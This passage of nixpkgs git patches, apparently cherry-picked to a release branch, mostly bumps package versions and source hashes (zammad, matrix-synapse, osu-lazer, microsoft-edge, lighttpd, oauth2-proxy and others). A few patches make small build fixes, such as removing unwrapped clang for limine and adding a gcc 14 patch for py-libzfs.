diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index a87dc4958729..bd1c6290016d 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -42,14 +42,14 @@ in
 # as bootloader for various platforms and corresponding binary and helper files.
 stdenv.mkDerivation (finalAttrs: {
   pname = "limine";
-  version = "9.5.4";
+  version = "9.6.1";
 
   # We don't use the Git source but the release tarball, as the source has a
   # `./bootstrap` script performing network access to download resources.
   # Packaging that in Nix is very cumbersome.
   src = fetchurl {
     url = "https://github.com/limine-bootloader/limine/releases/download/v${finalAttrs.version}/limine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-X0dStbsBJyFDUG25G4PUZInp+yVG3+p3bfhwQL280ig=";
+    hash = "sha256-/GAeZx2ShtC+VoqNO/SB8H4kLLgdLAc/RAGVxF6Imbc=";
   };
 
   enableParallelBuilding = true;

From e510beb2fcbb5c0bed85dee8bfa467f1618e609a Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Sat, 16 Aug 2025 12:50:23 +0530
Subject: [PATCH 3607/4511] limine: no need for unwrapped clang anymore

According to the latest changelog: https://github.com/limine-bootloader/limine/compare/v9.5.2...v9.6.0

(cherry picked from commit 4f59d136d97f4f11abea4ea351d9393095340c01)
---
 pkgs/by-name/li/limine/package.nix | 9 +--------
 1 file changed, 1 insertion(+), 8 deletions(-)

diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index bd1c6290016d..dd0edc30cc3f 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -55,7 +55,6 @@ stdenv.mkDerivation (finalAttrs: {
   enableParallelBuilding = true;
 
   nativeBuildInputs = [
-    llvmPackages.clang-unwrapped
     llvmPackages.libllvm
     llvmPackages.lld
   ]
@@ -79,13 +78,7 @@ stdenv.mkDerivation (finalAttrs: {
     ++ lib.optionals pxeSupport' [ "--enable-bios-pxe" ]
     ++ lib.concatMap uefiFlags (
       if targets == [ ] then [ stdenv.hostPlatform.parsed.cpu.name ] else targets
-    )
-    ++ [
-      "TOOLCHAIN_FOR_TARGET=llvm"
-      # `clang` on `PATH` has to be unwrapped, but *a* wrapped clang
-      # still needs to be available
-      "CC=${lib.getExe stdenv.cc}"
-    ];
+    );
 
   passthru.tests = nixosTests.limine;
 

From f8aaffa8bccd6d445a673a1c653f3cad4487208e Mon Sep 17 00:00:00 2001
From: Philipp Bartsch <phil@grmr.de>
Date: Thu, 29 May 2025 14:57:12 +0200
Subject: [PATCH 3608/4511] python3Packages.py-libzfs: fix gcc 14 compilation

(cherry picked from commit 707cdfb7a4c04e1248109d0a8a3b5f534c432ef0)
---
 pkgs/development/python-modules/py-libzfs/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/python-modules/py-libzfs/default.nix b/pkgs/development/python-modules/py-libzfs/default.nix
index b5d8e7f4ab29..c5402ff1231d 100644
--- a/pkgs/development/python-modules/py-libzfs/default.nix
+++ b/pkgs/development/python-modules/py-libzfs/default.nix
@@ -25,6 +25,12 @@ buildPythonPackage rec {
       url = "https://github.com/truenas/py-libzfs/commit/b5ffe1f1d6097df6e2f5cc6dd3c968872ec60804.patch";
       hash = "sha256-6r5hQ/o7c4vq4Tfh0l1WbeK3AuPvi+1wzkwkIn1qEes=";
     })
+    # Upstream has open PR. Debian uses the patch.
+    # https://github.com/truenas/py-libzfs/pull/277
+    (fetchpatch2 {
+      url = "https://salsa.debian.org/python-team/packages/py-libzfs/-/raw/debian/0.0+git20240510.5ae7d5e-1/debian/patches/fix-compilation-on-gcc-14.patch";
+      hash = "sha256-KLxRx2k1LQGtmzMqJe9b84ApOnIXn8ZeBZun5BAxEjc=";
+    })
   ];
 
   build-system = [ cython_0 ];

From 5352a140e57f1f1ee31b6aa781722ba1c2b61ba2 Mon Sep 17 00:00:00 2001
From: Jennifer Graul <me@netali.de>
Date: Thu, 14 Aug 2025 18:45:36 +0200
Subject: [PATCH 3609/4511] zammad: 6.5.0 -> 6.5.1

(cherry picked from commit 58c8c41fd9762799a2dc392252b07f45eb31e2ec)
---
 pkgs/by-name/za/zammad/gemset.nix  | 32 +++++++++++++++---------------
 pkgs/by-name/za/zammad/package.nix |  2 +-
 pkgs/by-name/za/zammad/source.json |  4 ++--
 3 files changed, 19 insertions(+), 19 deletions(-)

diff --git a/pkgs/by-name/za/zammad/gemset.nix b/pkgs/by-name/za/zammad/gemset.nix
index f18606851e2b..0e418cced7f5 100644
--- a/pkgs/by-name/za/zammad/gemset.nix
+++ b/pkgs/by-name/za/zammad/gemset.nix
@@ -2019,10 +2019,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0x8asxl83msn815lwmb2d7q5p29p7drhjv5va0byhk60v9n16iwf";
+      sha256 = "12f2830x7pq3kj0v8nz0zjvaw02sv01bqs1zwdrc04704kwcgmqc";
       type = "gem";
     };
-    version = "2.8.8";
+    version = "2.8.9";
   };
   minitest = {
     groups = [
@@ -2152,10 +2152,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1rgva7p9gvns2ndnqpw503mbd36i2skkggv0c0h192k8xr481phy";
+      sha256 = "14zmzjy2sp87ac6iygkk3pz9snjvx4ks681vg4gxz8x8q7gmzajj";
       type = "gem";
     };
-    version = "0.5.6";
+    version = "0.5.8";
   };
   net-ldap = {
     groups = [ "default" ];
@@ -2237,10 +2237,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1p1nl5gqs56wlv2gwzdj0px3dw018ywpkg14a4s23b0qjkdgi9n8";
+      sha256 = "0czsh9d738kj0bmpkjnczq9j924hg103gc00i0wfyg0fzn9psnmc";
       type = "gem";
     };
-    version = "1.18.5";
+    version = "1.18.9";
   };
   nori = {
     dependencies = [ "bigdecimal" ];
@@ -2307,10 +2307,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1km0wqx9pj609jidvrqfsvzbzfgdnlpdnv7i7xfqm3wb55vk5w6y";
+      sha256 = "1hjnb5b5m549irs0h1455ipzsv82pikdagx9wjb6r4j1bkjy494d";
       type = "gem";
     };
-    version = "2.1.2";
+    version = "2.1.3";
   };
   omniauth-facebook = {
     dependencies = [
@@ -2447,10 +2447,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "00nn24s74miy7p65y8lwpjfwgcn7fwld61f9ghngal4asgw6pfwa";
+      sha256 = "1c2i8yry06qpqg4k8xps5aj0hfw7l7m5vdqf85sbpr04ngfdpq6l";
       type = "gem";
     };
-    version = "2.2.1";
+    version = "2.2.3";
   };
   omniauth-twitter = {
     dependencies = [
@@ -2893,10 +2893,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1yzhcwvfkrlb8l79w24yjclv636jn6rnznp95shmssk934bi1vnc";
+      sha256 = "0lzd5skqw31k3cg3cvgbqfj42rm4llym2bwb74l7y224ldk5s6bn";
       type = "gem";
     };
-    version = "2.2.13";
+    version = "2.2.14";
   };
   rack-attack = {
     dependencies = [ "rack" ];
@@ -3595,10 +3595,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0vgsvdaglz1spx9gxrr6xh7qqhi4qd8jd06h2ihwxmazj9ajld6y";
+      sha256 = "01wi1csw4kjmlxmd1igx5hj2wrwkslay1xamg4cv8l7imr27l3hv";
       type = "gem";
     };
-    version = "1.18.0";
+    version = "1.18.1";
   };
   rubyntlm = {
     dependencies = [ "base64" ];
@@ -3966,10 +3966,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1nmymd86a0vb39pzj2cwv57avdrl6pl3lf5bsz58q594kqxjkw7f";
+      sha256 = "0gcarlmpfbmqnjvwfz44gdjhcmm634di7plcx2zdgwdhrhifhqw7";
       type = "gem";
     };
-    version = "1.3.2";
+    version = "1.4.0";
   };
   thread_safe = {
     groups = [ "default" ];
diff --git a/pkgs/by-name/za/zammad/package.nix b/pkgs/by-name/za/zammad/package.nix
index 062c8842d1e1..167a54055a71 100644
--- a/pkgs/by-name/za/zammad/package.nix
+++ b/pkgs/by-name/za/zammad/package.nix
@@ -20,7 +20,7 @@
 
 let
   pname = "zammad";
-  version = "6.5.0";
+  version = "6.5.1";
 
   src = applyPatches {
     src = fetchFromGitHub (lib.importJSON ./source.json);
diff --git a/pkgs/by-name/za/zammad/source.json b/pkgs/by-name/za/zammad/source.json
index 81ff39ada53a..2aaedb726e9c 100644
--- a/pkgs/by-name/za/zammad/source.json
+++ b/pkgs/by-name/za/zammad/source.json
@@ -1,8 +1,8 @@
 {
   "owner": "zammad",
   "repo": "zammad",
-  "rev": "568ebbedd173a449eea2bd8c6f456b30ce106242",
-  "hash": "sha256-3EoKcAKIktdgzi2KO73YgFM1yCDhy2BYDMCS9xY6OSU=",
+  "rev": "e55bdaf93d52ff4552ddd2af1bebf168b8faeffa",
+  "hash": "sha256-sx/FJ/bT7Buv5/QvUJhJbKtywNrmkfYVnzVNzBi9OXo=",
   "fetchSubmodules": true
 }
 

From 88c9e2966fbbeaa471d9cb073bc0d76ce4763941 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 12 Aug 2025 20:40:27 +0200
Subject: [PATCH 3610/4511] matrix-synapse: 1.135.2 -> 1.136.0

Diff: https://github.com/element-hq/synapse/compare/v1.135.2...v1.136.0
Changelog: https://github.com/element-hq/synapse/releases/tag/v1.136.0
(cherry picked from commit df7d67cf28156b1efbdb035ac5e987ab8496b579)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index 49f6da5ddfc1..d630dc867d40 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,19 +17,19 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.135.2";
+  version = "1.136.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-4HAA9Xq4C3DHxz0BgqBitfM4wZwPSEu+IO/OPfHzLVw=";
+    hash = "sha256-9nN4sQXCamVi+FRN9++FN5nQmjYZnPKDLxjxEuga6EM=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-4J92s6cSgsEIYQpbU6OOLI/USIJX2Gc7UdEHgWQgmXc=";
+    hash = "sha256-GX4lVg6aPVlqFgSSGsUg3wi7bne9jVWPTVx8rO5SjL8=";
   };
 
   postPatch = ''

From 373b9bb3cd59ff43b325c0831e3472fd0a401a58 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 17 Aug 2025 02:40:18 +0000
Subject: [PATCH 3611/4511] serie: 0.4.6 -> 0.4.7

(cherry picked from commit 8165f33e7f56fb982cacffa7bcc0ffc3e81f2e71)
---
 pkgs/by-name/se/serie/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/se/serie/package.nix b/pkgs/by-name/se/serie/package.nix
index 2cc1fba95a0f..66aaf108b60e 100644
--- a/pkgs/by-name/se/serie/package.nix
+++ b/pkgs/by-name/se/serie/package.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "serie";
-  version = "0.4.6";
+  version = "0.4.7";
 
   src = fetchFromGitHub {
     owner = "lusingander";
     repo = "serie";
     rev = "v${version}";
-    hash = "sha256-26B/bwXz60fcZrh6H1RPROiML44S1Pt1J3VrJh2gRrI=";
+    hash = "sha256-BzawNeRdZ6YfjHwnGzKTJYc6mmRBOADGo86ebKY3xbo=";
   };
 
-  cargoHash = "sha256-Bdk553tECJiMxJlXj147Sv2LzH+nM+/Cm5BpBr78I4o=";
+  cargoHash = "sha256-UpJoNfDPugcPXkJR/zBslemnzaA54Mt1Q1BZerryQSs=";
 
   nativeCheckInputs = [ gitMinimal ];
 

From c7b2b72369f07070b6748cea6dac7aaa531bd6f7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 16 Aug 2025 03:24:05 +0000
Subject: [PATCH 3612/4511] jetty_11: 11.0.25 -> 11.0.26

(cherry picked from commit 31bd086141c323b589bea1cd6b94b9e58c34dd77)
---
 pkgs/servers/http/jetty/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/jetty/default.nix b/pkgs/servers/http/jetty/default.nix
index d4ee7b36c5fc..9a6ffb09697d 100644
--- a/pkgs/servers/http/jetty/default.nix
+++ b/pkgs/servers/http/jetty/default.nix
@@ -52,8 +52,8 @@ let
 in
 {
   jetty_11 = common {
-    version = "11.0.25";
-    hash = "sha256-KaceKN/iu0QCv9hVmoXYvN7TxK9DwhiCcbjEnqcKSzs=";
+    version = "11.0.26";
+    hash = "sha256-uJgh/+/uGjchTgtoF38f7jIvbdrwdToAsqqVOlYtMIM=";
   };
 
   jetty_12 = common {

From f4090e1e1783c3cb7aa62367b9e957026903cca9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 17 Aug 2025 05:09:10 +0000
Subject: [PATCH 3613/4511] linuxKernel.kernels.linux_lqx: 6.15.9 -> 6.15.10

(cherry picked from commit 937683011afba38aee7fc12e2c9d9c07ed81ee49)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index e29052ff9988..fe6aa373c735 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.9"; # lqx
+      version = "6.15.10"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "16yds3lp4h0fk33fffwvh7az03wfw26ryl61h601na96m3sffwfj"; # lqx
+      sha256 = "1z8mixavfq5yylyv9j0g7m25jbrfjqfs4c2h9ibgky0fk701fchk"; # lqx
       isLqx = true;
     };
   };

From 3cb47987b597b24d4e332c2760ad4e52c81fe214 Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Sun, 17 Aug 2025 13:09:26 +0200
Subject: [PATCH 3614/4511] bubblewrap: add dev output to reduce closure size
 of static build (#433640)

(cherry picked from commit f2b5d603728f84f5f8f4dceda13f5116c898907b)
---
 pkgs/by-name/bu/bubblewrap/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/bu/bubblewrap/package.nix b/pkgs/by-name/bu/bubblewrap/package.nix
index eba4f666e176..2aaf1399a90b 100644
--- a/pkgs/by-name/bu/bubblewrap/package.nix
+++ b/pkgs/by-name/bu/bubblewrap/package.nix
@@ -23,6 +23,11 @@ stdenv.mkDerivation rec {
     hash = "sha256-8IDMLQPeO576N1lizVudXUmTV6hNOiowjzRpEWBsZ+U=";
   };
 
+  outputs = [
+    "out"
+    "dev"
+  ];
+
   postPatch = ''
     substituteInPlace tests/libtest.sh \
       --replace "/var/tmp" "$TMPDIR"

From 1223ed429554273c94da02284c6cb807d903e86a Mon Sep 17 00:00:00 2001
From: Cobalt <cobalt@cobalt.rocks>
Date: Mon, 11 Aug 2025 17:08:20 +0200
Subject: [PATCH 3615/4511] git-cinnabar: 0.7.2 -> 0.7.3

See https://github.com/glandium/git-cinnabar/releases/tag/0.7.3 for
upstream release notes

(cherry picked from commit adb16370ffee8bf32172b93123843322d76c9d0f)
---
 pkgs/by-name/gi/git-cinnabar/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gi/git-cinnabar/package.nix b/pkgs/by-name/gi/git-cinnabar/package.nix
index 9c6b76b30dde..40aede54b2c7 100644
--- a/pkgs/by-name/gi/git-cinnabar/package.nix
+++ b/pkgs/by-name/gi/git-cinnabar/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "git-cinnabar";
-  version = "0.7.2";
+  version = "0.7.3";
 
   src = fetchFromGitHub {
     owner = "glandium";
     repo = "git-cinnabar";
     tag = finalAttrs.version;
-    hash = "sha256-phQ7wfSgctfbjFtg1HVNtoVlnC0yIEJy65Mu/hLPjnw=";
+    hash = "sha256-qE9LvOX2n+ylQry79CsmRCUzUEgwYZne3tbNDCoynzk=";
     fetchSubmodules = true;
   };
 
@@ -38,7 +38,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) src;
-    hash = "sha256-Vhe9sMUTs16+lQ8hpt8E4Vmu6n4kkyzir1IM9etYBno=";
+    hash = "sha256-IVizzc2dKZ83dz3KBMDDiaFNdnS40cS++k8AywyvakQ=";
   };
 
   ZSTD_SYS_USE_PKG_CONFIG = true;

From ae80063112dafbc2299bf8ef4eab38cf5285eea9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Sat, 16 Aug 2025 15:17:51 +0000
Subject: [PATCH 3616/4511] osu-lazer-bin: 2025.710.0 -> 2025.816.0

(cherry picked from commit f10b2cad72361415098844b518cac0c8f97d6ec6)
---
 pkgs/by-name/os/osu-lazer-bin/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer-bin/package.nix b/pkgs/by-name/os/osu-lazer-bin/package.nix
index 2100e96923b1..070d4ace5738 100644
--- a/pkgs/by-name/os/osu-lazer-bin/package.nix
+++ b/pkgs/by-name/os/osu-lazer-bin/package.nix
@@ -10,23 +10,23 @@
 
 let
   pname = "osu-lazer-bin";
-  version = "2025.710.0";
+  version = "2025.816.0";
 
   src =
     {
       aarch64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.app.Apple.Silicon.zip";
-        hash = "sha256-Wg/HlnVjEV7rSTRTzYxP4w41PDVq+vPRT/+MArpK6+U=";
+        hash = "sha256-5HMjI0+rb7FKwTYsLv2ltFyXL0DQT83/t2i4OpiwwIY=";
         stripRoot = false;
       };
       x86_64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.app.Intel.zip";
-        hash = "sha256-aHlcjubkai5B9k49ptjR3RImkbqHpvyfgueMPZNDmmM=";
+        hash = "sha256-WqYY3FYHgURk1NKiVcF81GAKBYNPf1M/ZY/3/9XibzI=";
         stripRoot = false;
       };
       x86_64-linux = fetchurl {
         url = "https://github.com/ppy/osu/releases/download/${version}-lazer/osu.AppImage";
-        hash = "sha256-Tfm75+jkSAqyNBkN3cVrx3hyw+Ai3lKa6ZIo47x2Rns=";
+        hash = "sha256-mOihQ8mtHEiq0FElkJiZl0mhBqPi8CoGowN358Jc72A=";
       };
     }
     .${stdenvNoCC.system} or (throw "osu-lazer-bin: ${stdenvNoCC.system} is unsupported.");

From 900b315dc571652d0a58792990fadb7a9b281a05 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Sat, 16 Aug 2025 15:19:08 +0000
Subject: [PATCH 3617/4511] osu-lazer: 2025.710.0 -> 2025.816.0

(cherry picked from commit f9c78a7c504e80c311a72b0459524a9d5407f19c)
---
 pkgs/by-name/os/osu-lazer/deps.json   | 28 +++++++++++++--------------
 pkgs/by-name/os/osu-lazer/package.nix |  4 ++--
 2 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer/deps.json b/pkgs/by-name/os/osu-lazer/deps.json
index b4ff6e7dc0cc..12f99637b891 100644
--- a/pkgs/by-name/os/osu-lazer/deps.json
+++ b/pkgs/by-name/os/osu-lazer/deps.json
@@ -641,13 +641,13 @@
   },
   {
     "pname": "ppy.osu.Framework",
-    "version": "2025.710.0",
-    "hash": "sha256-p1AFltuRloCm/krTzGzhI5A89NT5yU2nK6ILwhgzLnc="
+    "version": "2025.808.0",
+    "hash": "sha256-XmetdqG3z66uhdfvY4iEmDAK8Zh2uXPk5Dm25raeYw4="
   },
   {
     "pname": "ppy.osu.Framework.NativeLibs",
-    "version": "2024.809.1-nativelibs",
-    "hash": "sha256-F7xd66bCEDgEjYgqmx21lYde+ebCsX/E2fuqWXH4xyU="
+    "version": "2025.806.0-nativelibs",
+    "hash": "sha256-2oqo+sJvTnV3bTCLOlReOWTJpg0eI+g62Q+e2iXImeU="
   },
   {
     "pname": "ppy.osu.Framework.SourceGeneration",
@@ -656,8 +656,8 @@
   },
   {
     "pname": "ppy.osu.Game.Resources",
-    "version": "2025.708.0",
-    "hash": "sha256-lgGl/jLHMlguuPbQ7MW8uTUk+ZibmMiqtMZnE3xWEr4="
+    "version": "2025.815.0",
+    "hash": "sha256-DD9yPAmCJrCj/uix6HbRlbQZfyvLyIrKmLP4fZed5fo="
   },
   {
     "pname": "ppy.osuTK.NS20",
@@ -676,18 +676,18 @@
   },
   {
     "pname": "ppy.Veldrid",
-    "version": "4.9.62-gca0239da6b",
-    "hash": "sha256-mGlMQbp2/ewA7PzamEeMA1pbboC73iAIARhK4MPrwO4="
+    "version": "4.9.66-g086790861c",
+    "hash": "sha256-jnFiRUk+8EV5QMnormygSwm74U949FSqPKYNfMrkI54="
   },
   {
     "pname": "ppy.Veldrid.MetalBindings",
-    "version": "4.9.62-gca0239da6b",
-    "hash": "sha256-8jkbU2QV4HV8RU1vnSNtP8kNEhDWbTb3Dr2cl8w/T6A="
+    "version": "4.9.66-g086790861c",
+    "hash": "sha256-opJ2dRHQP6HPYHw7hM5iWgQeP38RMINv2dJmSF7PptA="
   },
   {
     "pname": "ppy.Veldrid.OpenGLBindings",
-    "version": "4.9.62-gca0239da6b",
-    "hash": "sha256-I81to2x5D4LlIJN80d5DbqcU0jPTVSPoc0tvL15YG6I="
+    "version": "4.9.66-g086790861c",
+    "hash": "sha256-4zrLJpQVA9BiQP2XeKgW9L/1z3pazDCH46elQ02Un5E="
   },
   {
     "pname": "ppy.Veldrid.SPIRV",
@@ -1006,8 +1006,8 @@
   },
   {
     "pname": "SixLabors.ImageSharp",
-    "version": "3.1.7",
-    "hash": "sha256-jMD/FiIwW1kNhTI6hKig8/QFOO3eTQX/C22cSAcKBH4="
+    "version": "3.1.11",
+    "hash": "sha256-MlRF+3SGfahbsB1pZGKMOrsfUCx//hCo7ECrXr03DpA="
   },
   {
     "pname": "SQLitePCLRaw.bundle_e_sqlite3",
diff --git a/pkgs/by-name/os/osu-lazer/package.nix b/pkgs/by-name/os/osu-lazer/package.nix
index a8730b51341e..7a01a58959df 100644
--- a/pkgs/by-name/os/osu-lazer/package.nix
+++ b/pkgs/by-name/os/osu-lazer/package.nix
@@ -22,13 +22,13 @@
 
 buildDotnetModule rec {
   pname = "osu-lazer";
-  version = "2025.710.0";
+  version = "2025.816.0";
 
   src = fetchFromGitHub {
     owner = "ppy";
     repo = "osu";
     tag = "${version}-lazer";
-    hash = "sha256-etIf0ZE1YHZntBQGciFlP1ARgWSTqytJIklAy77+q+Q=";
+    hash = "sha256-ScCOqo0f8Ms0nai9zCIEkAKWySB7uZiU4lk2itQWLig=";
   };
 
   projectFile = "osu.Desktop/osu.Desktop.csproj";

From c59471e10c0a212b3e24d7ddc5053a44dd6c719e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 16 Aug 2025 09:57:13 +0000
Subject: [PATCH 3618/4511] microsoft-edge: 139.0.3405.86 -> 139.0.3405.102

(cherry picked from commit 04f072b56a2cdd9c0648bc785ffde9999ed311d2)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index a0de5f803673..5a0971829d4b 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -178,11 +178,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "139.0.3405.86";
+  version = "139.0.3405.102";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-S1/RUSwRQsBQno/I31xjw1CGs0tJpl5HRatat+wOqmE=";
+    hash = "sha256-rY6Q3sMIAGX/ZKOVvwSl6cxq24SB1PiCn7b1pMXMeps=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 2f8b346d472d13e9c2c3de55fd9d5aa9bb79aca5 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Sun, 17 Aug 2025 19:08:43 +0200
Subject: [PATCH 3619/4511] [release-25.05] gerrit: 3.11.4 -> 3.11.5

Signed-off-by: Felix Singer <felixsinger@posteo.net>
---
 pkgs/by-name/ge/gerrit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ge/gerrit/package.nix b/pkgs/by-name/ge/gerrit/package.nix
index 07f29485b63d..76a913ac7a6e 100644
--- a/pkgs/by-name/ge/gerrit/package.nix
+++ b/pkgs/by-name/ge/gerrit/package.nix
@@ -8,11 +8,11 @@
 
 stdenv.mkDerivation rec {
   pname = "gerrit";
-  version = "3.11.4";
+  version = "3.11.5";
 
   src = fetchurl {
     url = "https://gerrit-releases.storage.googleapis.com/gerrit-${version}.war";
-    hash = "sha256-cpdH/dIthC8v4bw17C3nTihvn97Mkx9RLaNEV9XKp4A=";
+    hash = "sha256-S9hit76hqNUrTfXPetFis3Rs+wA7vGNH+fXprseuBpg=";
   };
 
   buildCommand = ''

From a745a9d0a99541dc0417bf53e9bb7a8c214dce11 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 14 Aug 2025 00:30:36 +0000
Subject: [PATCH 3620/4511] lighttpd: 1.4.79 -> 1.4.80

(cherry picked from commit d4afce51c168e7dddf0d137ab7509e2ee36217ce)
---
 pkgs/by-name/li/lighttpd/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/lighttpd/package.nix b/pkgs/by-name/li/lighttpd/package.nix
index 6962e9bcc0c0..3a8a56f73c0b 100644
--- a/pkgs/by-name/li/lighttpd/package.nix
+++ b/pkgs/by-name/li/lighttpd/package.nix
@@ -34,11 +34,11 @@
 
 stdenv.mkDerivation rec {
   pname = "lighttpd";
-  version = "1.4.79";
+  version = "1.4.80";
 
   src = fetchurl {
     url = "https://download.lighttpd.net/lighttpd/releases-${lib.versions.majorMinor version}.x/${pname}-${version}.tar.xz";
-    sha256 = "sha256-OymmJbOtiHAtH+pPX0K7fYdIjy5O/Jd9fxhTKcpghL0=";
+    sha256 = "sha256-zF8Pceiy7mutVF0ekd/D+VRxbJF057NSwhR63UTyW/M=";
   };
 
   separateDebugInfo = true;

From 848b832be1421f4fe3a4936fce39655e7c554be3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 28 Apr 2025 19:58:23 +0000
Subject: [PATCH 3621/4511] oauth2-proxy: 7.8.2 -> 7.9.0

(cherry picked from commit bae6c9f5aee68f29dca43f82007c77902e069541)
---
 pkgs/by-name/oa/oauth2-proxy/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/oa/oauth2-proxy/package.nix b/pkgs/by-name/oa/oauth2-proxy/package.nix
index a3af8c91bc62..f6bd1318e80a 100644
--- a/pkgs/by-name/oa/oauth2-proxy/package.nix
+++ b/pkgs/by-name/oa/oauth2-proxy/package.nix
@@ -6,12 +6,12 @@
 
 buildGoModule rec {
   pname = "oauth2-proxy";
-  version = "7.8.2";
+  version = "7.9.0";
 
   src = fetchFromGitHub {
     repo = pname;
     owner = "oauth2-proxy";
-    sha256 = "sha256-RT0uoNRFFZ3BNSwukGZ0P70jtDYAwUI1m+pzFyHnNjU=";
+    sha256 = "sha256-ykC29q7/rTv7POGETMiypj9CQYdYVo7rjT5B+3nfj/U=";
     rev = "v${version}";
   };
 
@@ -19,7 +19,7 @@ buildGoModule rec {
     ./fix-tests-go-1.24.diff
   ];
 
-  vendorHash = "sha256-5wkwXHLFEhr5H1vpw4T659456KqgBeMZ8OAnYYU5Ln0=";
+  vendorHash = "sha256-KIu/NSKaXLutlY8757haAlsyuHUZjkDZ6D10lJ08uCM=";
 
   # Taken from https://github.com/oauth2-proxy/oauth2-proxy/blob/master/Makefile
   ldflags = [ "-X main.VERSION=${version}" ];

From 3bb1a139984a5951920e63f3e4c0d9ee12daaea4 Mon Sep 17 00:00:00 2001
From: Joshua Zander <joshua@joshz.pro>
